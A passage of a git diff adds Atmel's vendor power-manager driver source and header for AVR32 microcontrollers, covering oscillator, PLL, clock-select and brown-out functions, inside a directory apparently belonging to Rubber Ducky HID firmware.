NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "compiler.h" +#include "pm.h" + + +/*! \name PM Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long mcctrl; + avr32_pm_mcctrl_t MCCTRL; +} u_avr32_pm_mcctrl_t; + +typedef union +{ + unsigned long cksel; + avr32_pm_cksel_t CKSEL; +} u_avr32_pm_cksel_t; + +typedef union +{ + unsigned long pll; + avr32_pm_pll_t PLL; +} u_avr32_pm_pll_t; + +typedef union +{ + unsigned long oscctrl0; + avr32_pm_oscctrl0_t OSCCTRL0; +} u_avr32_pm_oscctrl0_t; + +typedef union +{ + unsigned long oscctrl1; + avr32_pm_oscctrl1_t OSCCTRL1; +} u_avr32_pm_oscctrl1_t; + +typedef union +{ + unsigned long oscctrl32; + avr32_pm_oscctrl32_t OSCCTRL32; +} u_avr32_pm_oscctrl32_t; + +typedef union +{ + unsigned long ier; + avr32_pm_ier_t IER; +} u_avr32_pm_ier_t; + +typedef union +{ + unsigned long idr; + avr32_pm_idr_t IDR; +} u_avr32_pm_idr_t; + +typedef union +{ + unsigned long icr; + avr32_pm_icr_t ICR; +} u_avr32_pm_icr_t; + +typedef union +{ + unsigned long gcctrl; + avr32_pm_gcctrl_t GCCTRL; +} u_avr32_pm_gcctrl_t; + +typedef union +{ + unsigned long rccr; + avr32_pm_rccr_t RCCR; +} u_avr32_pm_rccr_t; + +typedef union +{ + unsigned long bgcr; + avr32_pm_bgcr_t BGCR; +} u_avr32_pm_bgcr_t; + +typedef union +{ + unsigned long vregcr; + avr32_pm_vregcr_t VREGCR; +} u_avr32_pm_vregcr_t; + +typedef union +{ + unsigned long bod; + avr32_pm_bod_t BOD; +} u_avr32_pm_bod_t; + +//! @} + + +/*! \brief Sets the mode of the oscillator 0. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 0 mode (i.e. AVR32_PM_OSCCTRL0_MODE_x). + */ +static void pm_set_osc0_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.mode = mode; + // Write + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; +} + + +void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc0_mode(pm, AVR32_PM_OSCCTRL0_MODE_EXT_CLOCK); +} + + +void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0) +{ + pm_set_osc0_mode(pm, (fosc0 < 900000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G0 : + (fosc0 < 3000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G1 : + (fosc0 < 8000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk0_no_wait(pm, startup); + pm_wait_for_clk0_ready(pm); +} + + +void pm_disable_clk0(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.startup = startup; + // Write back + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC0RDY_MASK)); +} + + +/*! \brief Sets the mode of the oscillator 1. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 1 mode (i.e. AVR32_PM_OSCCTRL1_MODE_x). + */ +static void pm_set_osc1_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.mode = mode; + // Write + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; +} + + +void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc1_mode(pm, AVR32_PM_OSCCTRL1_MODE_EXT_CLOCK); +} + + +void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1) +{ + pm_set_osc1_mode(pm, (fosc1 < 900000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G0 : + (fosc1 < 3000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G1 : + (fosc1 < 8000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk1_no_wait(pm, startup); + pm_wait_for_clk1_ready(pm); +} + + +void pm_disable_clk1(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.startup = startup; + // Write back + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC1RDY_MASK)); +} + + +/*! \brief Sets the mode of the 32-kHz oscillator. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode 32-kHz oscillator mode (i.e. AVR32_PM_OSCCTRL32_MODE_x). + */ +static void pm_set_osc32_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.mode = mode; + // Write + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK); +} + + +void pm_enable_osc32_crystal(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_CRYSTAL); +} + + +void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk32_no_wait(pm, startup); + pm_wait_for_clk32_ready(pm); +} + + +void pm_disable_clk32(volatile avr32_pm_t *pm) +{ + pm->oscctrl32 &= ~AVR32_PM_OSCCTRL32_OSC32EN_MASK; +} + + +void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.osc32en = 1; + u_avr32_pm_oscctrl32.OSCCTRL32.startup = startup; + // Write back + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC32RDY_MASK)); +} + + +void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long *p_cksel) +{ + *p_cksel = pm->cksel; +} + + +void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel) +{ + pm->cksel = cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_cksel(volatile avr32_pm_t *pm, + unsigned int pbadiv, + unsigned int pbasel, + unsigned int pbbdiv, + unsigned int pbbsel, + unsigned int hsbdiv, + unsigned int hsbsel) +{ + u_avr32_pm_cksel_t u_avr32_pm_cksel = {0}; + + u_avr32_pm_cksel.CKSEL.cpusel = hsbsel; + u_avr32_pm_cksel.CKSEL.cpudiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.hsbsel = hsbsel; + u_avr32_pm_cksel.CKSEL.hsbdiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.pbasel = pbasel; + u_avr32_pm_cksel.CKSEL.pbadiv = pbadiv; + u_avr32_pm_cksel.CKSEL.pbbsel = pbbsel; + u_avr32_pm_cksel.CKSEL.pbbdiv = pbbdiv; + + pm->cksel = u_avr32_pm_cksel.cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_gc_setup(volatile avr32_pm_t *pm, + unsigned int gc, + unsigned int osc_or_pll, // Use Osc (=0) or PLL (=1) + unsigned int pll_osc, // Sel Osc0/PLL0 or Osc1/PLL1 + unsigned int diven, + unsigned int div) +{ + u_avr32_pm_gcctrl_t u_avr32_pm_gcctrl = {0}; + + u_avr32_pm_gcctrl.GCCTRL.oscsel = pll_osc; + u_avr32_pm_gcctrl.GCCTRL.pllsel = osc_or_pll; + u_avr32_pm_gcctrl.GCCTRL.diven = diven; + u_avr32_pm_gcctrl.GCCTRL.div = div; + + pm->gcctrl[gc] = u_avr32_pm_gcctrl.gcctrl; +} + + +void pm_gc_enable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] |= AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_gc_disable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] &= ~AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_pll_setup(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int mul, + unsigned int div, + unsigned int osc, + unsigned int lockcount) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {0}; + + u_avr32_pm_pll.PLL.pllosc = osc; + u_avr32_pm_pll.PLL.plldiv = div; + u_avr32_pm_pll.PLL.pllmul = mul; + u_avr32_pm_pll.PLL.pllcount = lockcount; + + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +void pm_pll_set_option(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int pll_freq, + unsigned int pll_div2, + unsigned int pll_wbwdisable) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {pm->pll[pll]}; + u_avr32_pm_pll.PLL.pllopt = pll_freq | (pll_div2 << 1) | (pll_wbwdisable << 2); + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, + unsigned int pll) +{ + return (pm->pll[pll] & AVR32_PM_PLLOPT_MASK) >> AVR32_PM_PLLOPT_OFFSET; +} + + +void pm_pll_enable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] |= AVR32_PM_PLLEN_MASK; +} + + +void pm_pll_disable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] &= ~AVR32_PM_PLLEN_MASK; +} + + +void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK0_MASK)); +} + + +void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK1_MASK)); +} + + +unsigned long pm_get_clock(volatile avr32_pm_t *pm) +{ + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + return u_avr32_pm_mcctrl.MCCTRL.mcsel; +} + + +void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock) +{ + // Read + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + // Modify + u_avr32_pm_mcctrl.MCCTRL.mcsel = clock; + // Write back + pm->mcctrl = u_avr32_pm_mcctrl.mcctrl; +} + + +void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup) +{ + pm_enable_osc0_crystal(pm, fosc0); // Enable the Osc0 in crystal mode + pm_enable_clk0(pm, startup); // Crystal startup time - This parameter is critical and depends on the characteristics of the crystal + pm_switch_to_clock(pm, AVR32_PM_MCSEL_OSC0); // Then switch main clock to Osc0 +} + + +void pm_bod_enable_irq(volatile avr32_pm_t *pm) +{ + pm->ier = AVR32_PM_IER_BODDET_MASK; +} + + +void pm_bod_disable_irq(volatile avr32_pm_t *pm) +{ + Bool global_interrupt_enabled = Is_global_interrupt_enabled(); + + if (global_interrupt_enabled) Disable_global_interrupt(); + pm->idr = AVR32_PM_IDR_BODDET_MASK; + pm->isr; + if (global_interrupt_enabled) Enable_global_interrupt(); +} + + +void pm_bod_clear_irq(volatile avr32_pm_t *pm) +{ + pm->icr = AVR32_PM_ICR_BODDET_MASK; +} + + +unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm) +{ + return ((pm->isr & AVR32_PM_ISR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm) +{ + return ((pm->imr & AVR32_PM_IMR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_level(volatile avr32_pm_t *pm) +{ + return (pm->bod & AVR32_PM_BOD_LEVEL_MASK) >> AVR32_PM_BOD_LEVEL_OFFSET; +} + + +unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp) +{ + return pm->gplp[gplp]; +} + + +void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value) +{ + pm->gplp[gplp] = value; +} + + +long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr |= (1<<(module%32)); + + return PASS; +} + +long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr &= ~(1<<(module%32)); + + return PASS; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h new file mode 100755 index 0000000..605be41 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h @@ -0,0 +1,515 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager driver. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _PM_H_ +#define _PM_H_ + +#include +#include "compiler.h" +#include "preprocessor.h" + + +/*! \brief Sets the MCU in the specified sleep mode. + * + * \param mode Sleep mode: + * \arg \c AVR32_PM_SMODE_IDLE: Idle; + * \arg \c AVR32_PM_SMODE_FROZEN: Frozen; + * \arg \c AVR32_PM_SMODE_STANDBY: Standby; + * \arg \c AVR32_PM_SMODE_STOP: Stop; + * \arg \c AVR32_PM_SMODE_DEEP_STOP: DeepStop; + * \arg \c AVR32_PM_SMODE_STATIC: Static. + */ +#define SLEEP(mode) {__asm__ __volatile__ ("sleep "STRINGZ(mode));} + + +//! Input and output parameters when initializing PM clocks using pm_configure_clocks(). +typedef struct +{ + //! CPU frequency (input/output argument). + unsigned long cpu_f; + + //! PBA frequency (input/output argument). + unsigned long pba_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; +} pm_freq_param_t; + +#define PM_FREQ_STATUS_FAIL (-1) +#define PM_FREQ_STATUS_OK (0) + + +/*! \brief Gets the MCU reset cause. + * + * \param pm Base address of the Power Manager instance (i.e. &AVR32_PM). + * + * \return The MCU reset cause which can be masked with the + * \c AVR32_PM_RCAUSE_x_MASK bit-masks to isolate specific causes. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline unsigned int pm_get_reset_cause(volatile avr32_pm_t *pm) +{ + return pm->rcause; +} + + +/*! + * \brief This function will enable the external clock mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + */ +extern void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0); + + +/*! + * \brief This function will enable the oscillator 0 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk0(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 0 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time, for which the function does not wait. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc0 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc1 Oscillator 1 crystal frequency (Hz) + */ +extern void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1); + + +/*! + * \brief This function will enable the oscillator 1 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk1(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 1 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time, for which the function does not wait. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc1 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_crystal(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 32. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk32(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time, for which the function does not wait. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the osc32 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will select all the power manager clocks. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pbadiv Peripheral Bus A clock divisor enable + * \param pbasel Peripheral Bus A select + * \param pbbdiv Peripheral Bus B clock divisor enable + * \param pbbsel Peripheral Bus B select + * \param hsbdiv High Speed Bus clock divisor enable (CPU clock = HSB clock) + * \param hsbsel High Speed Bus select (CPU clock = HSB clock ) + */ +extern void pm_cksel(volatile avr32_pm_t *pm, unsigned int pbadiv, unsigned int pbasel, unsigned int pbbdiv, unsigned int pbbsel, unsigned int hsbdiv, unsigned int hsbsel); + + +/*! + * \brief This function will setup a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + * \param osc_or_pll Use OSC (=0) or PLL (=1) + * \param pll_osc Select Osc0/PLL0 or Osc1/PLL1 + * \param diven Generic clock divisor enable + * \param div Generic clock divisor + */ +extern void pm_gc_setup(volatile avr32_pm_t *pm, unsigned int gc, unsigned int osc_or_pll, unsigned int pll_osc, unsigned int diven, unsigned int div); + + +/*! + * \brief This function will enable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_enable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will disable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_disable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will setup a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param mul PLL MUL in the PLL formula + * \param div PLL DIV in the PLL formula + * \param osc OSC number (0 for osc0, 1 for osc1) + * \param lockcount PLL lockount + */ +extern void pm_pll_setup(volatile avr32_pm_t *pm, unsigned int pll, unsigned int mul, unsigned int div, unsigned int osc, unsigned int lockcount); + + +/*! + * \brief This function will set a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param pll_freq Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + * \param pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + * \param pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + */ +extern void pm_pll_set_option(volatile avr32_pm_t *pm, unsigned int pll, unsigned int pll_freq, unsigned int pll_div2, unsigned int pll_wbwdisable); + + +/*! + * \brief This function will get a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \return Option + */ +extern unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will enable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_enable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will disable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_disable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will wait for PLL0 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will wait for PLL1 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function returns the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param p_cksel output cksel value +*/ +extern void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long* p_cksel); + + +/*! + * \brief This function set the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param cksel The cksel value. +*/ +extern void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel); + + +/*! + * \brief This function returns the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \retval The main clock value. +*/ +extern unsigned long pm_get_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will switch the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param clock Clock to be switched on. AVR32_PM_MCSEL_SLOW for RCOsc, AVR32_PM_MCSEL_OSC0 for Osc0, AVR32_PM_MCSEL_PLL0 for PLL0. + */ +extern void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock); + + +/*! + * \brief Switch main clock to clock Osc0 (crystal mode) + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + * \param startup Crystal 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup); + + +/*! \brief Enables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_enable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Disables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_disable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Clears the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_clear_irq(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 No BOD interrupt. + * \retval 1 BOD interrupt pending. + */ +extern unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt enable status. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 BOD interrupt disabled. + * \retval 1 BOD interrupt enabled. + */ +extern unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm); + + +/*! \brief Gets the triggering threshold of the Brown-Out Detector. + * + * \param pm Base address of 